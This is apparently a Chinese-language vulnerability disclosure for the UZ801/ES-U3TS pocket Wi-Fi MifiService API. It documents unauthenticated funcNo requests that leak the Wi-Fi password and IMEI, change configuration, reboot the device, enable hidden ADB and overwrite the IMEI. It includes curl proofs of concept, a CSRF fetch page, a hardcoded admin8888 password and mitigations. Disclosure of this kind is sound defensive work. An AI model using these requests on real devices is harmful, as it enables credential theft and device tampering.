
Security advisory detailing broken access control in UZ801/ES-U3TS MifiService web API, allowing unauthenticated data extraction, config modification, and device reboot. Includes PoCs and mitigations.
本仓库用于公开披露 OEM / 白牌 UZ801_v2.1 4G LTE 随身 Wi-Fi 平台中 MifiService.apk 管理接口的访问控制缺陷,并为 CVE 申请提供可公开引用的材料。
当前样机还观察到以 ES-U3TS 形式售卖的同源产品,因此本文使用 UZ801 / ES-U3TS 作为公开命名。
受影响设备在本地管理地址上暴露了 Jetty Web API:
http://192.168.100.1/ajax
后端请求分发核心位于:
com.mifiservice.server.AjaxSevlet
虽然前端存在登录页,但后端并没有对绝大多数管理功能真正执行“已认证会话”校验。因此,接入同一热点的攻击者可以直接构造带 funcNo 的 JSON 请求,在未登录状态下读取敏感信息、修改配置,甚至触发高影响设备管理动作。
已验证影响包括:
通过静态分析还确认了更高风险的维护功能:
当前掌握的事实表明,这是一套 OEM / 白牌方案,真实上游开发厂商尚未确定,目前也没有找到可靠的厂商安全响应联系方式。
因此本文使用以下识别方式:
UZ801_v2.1ES-U3TSUZ801-V3.4.3MifiService.apkcom.mifiservice.hello若后续发现其它贴牌产品具备相同固件、相同 APK、相同 Web 资源和相同 funcNo 行为,应视为同一代码系的疑似受影响变体。
/ajax Web API 端点MifiService.apkcom.mifiservice.server.AjaxSevlet漏洞产生的原因是后端访问控制失效:
OriginReferer登录功能虽然存在,但并没有为绝大多数管理 API 建立有效的授权边界。
主要攻击路径:
次级攻击路径:
默认情况下,这不是一个公网直接远程攻击面。攻击者需要:
192.168.100.1| funcNo | 功能 | 状态 | 说明 |
|---|---|---|---|
2003 | 隐藏维护口令路径 | 静态确认 | 使用硬编码 admin8888,行为疑似残留 |
截至本文撰写时,该设备更像是经由 OEM / 经销商渠道流转的白牌方案,品牌信息不稳定甚至缺失,尚未确认到可信的原始开发厂商联系方式。
下述 PoC 仅用于证明漏洞存在,刻意限制为只读或低影响操作,不提供武器化利用流程。
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1002}' \
http://192.168.100.1/ajax
预期:
ssidpwdcurl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1029}' \
http://192.168.100.1/ajax
预期:
imeifwversion读取当前语言:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1030}' \
http://192.168.100.1/ajax
修改语言:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1031,"Language":"Chinese"}' \
http://192.168.100.1/ajax
测试结束后请改回原始值。
该接口不校验会话状态,也不校验 Origin / Referer。因此,已连接该热点的受害者浏览器可被诱导在后台发起请求。
最小化演示页面:
<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://192.168.100.1/ajax", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({funcNo: 1002})
});
</script>
这里故意只使用只读接口号,不应对用户或生产设备进行任何实际攻击。
以下内容仅为防御性分析和修复参考,不附带公开执行步骤。
2001 - 开启隐藏调试接口{"funcNo":2001}
代码行为:
setprop persist.sys.usb.config rndis,serial_smd,diag,adbsync2004 - IMEI 覆写路径{"funcNo":2004,"imei":"<redacted-test-value>"}
代码行为:
AT+WRIMEI=<value> 的链路考虑法律、合规与设备完整性风险,本文不公开真机执行步骤。
1002 未登录返回示例{
"results": [
{
"dns1": "8.8.8.8",
"ssid": "4G-UFI-8E1",
"dns2": "8.8.8.8",
"mask": "255.255.255.0",
"pwd": "1234567890",
"wlan_ip": "192.168.100.1",
"IP": "192.168.100.1"
}
],
"error_info": "none",
"flag": "1"
}
1029 未登录返回示例{
"results": [
{
"manufacture": "Qualcomm Technology",
"dbm": "",
"fwversion": "V3.4.3",
"imei": "863993064154463"
}
],
"error_info": "none",
"flag": "1"
}
建议归类:
CWE-306 Missing Authentication for Critical FunctionCWE-862 Missing Authorization建议 CVSS:
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2026-05-112026-05-122026-05-122026-05-12Origin 与 Referer本仓库仅用于防御性研究、漏洞披露和修复协调。公开示例已刻意限制为低风险验证,不提供可直接武器化的利用步骤。
| funcNo | 功能 | 状态 | 说明 |
|---|
1002 | 读取 SSID、设备 IP、DNS、Wi-Fi 密码 | 真机验证 | 返回 Wi-Fi 密码明文 |
1009 | 读取 Wi-Fi 加密类型和密码 | 真机验证 | 返回 Wi-Fi 密码明文 |
1011 | 读取 DHCP 范围、DNS、客户端列表 | 真机验证 | 便于内网侦察 |
1015 | 读取 SIM 状态 | 真机验证 | 泄露运行状态 |
1029 | 读取 IMEI、固件、厂商、信号信息 | 真机验证 | 泄露设备标识 |
1052 | 读取 MAC 过滤模式和条目 | 真机验证 | 泄露访问控制配置 |
2002 | 读取当前 SIM 槽位 | 真机验证 | 泄露运行状态 |
| funcNo | 功能 | 状态 | 说明 |
|---|
1004 | 修改联网模式 | 静态确认 | 未见会话校验 |
1005 | 修改网络制式 | 静态确认 | 可影响联网能力 |
1007 | 修改 SSID / 最大接入数 | 静态确认 | 会持久化并影响 AP |
1010 | 修改 Wi-Fi 加密类型 / 密码 | 静态确认 | 高影响 |
1012 | 修改 DHCP / DNS 相关配置 | 静态确认 | 可篡改局域网行为 |
1016/1017/1018 | APN 读取 / 设置 / 切换 | 静态确认 | 影响 WAN 行为 |
1031 | 修改语言并持久化 | 真机验证 | 作为低风险写入型 PoC |
1053/1054/1055 | 修改 MAC 过滤模式与条目 | 静态确认 | 可篡改网络接入控制 |
| funcNo | 功能 | 状态 | 说明 |
|---|
1013 | 重启设备 | 真机验证 | DoS |
1014 | 恢复应用/网络配置默认并重启 | 真机验证 | 不是整机 userdata 擦除 |
2000 | 重启到 bootloader | 真机验证 | 运维风险高 |
2001 | 开启隐藏 ADB/Diag 并重启 | 静态确认 | 隐藏维护路径 |
2004 | 覆写 IMEI | 静态确认 | 走 AT 指令链路,公开验证未执行 |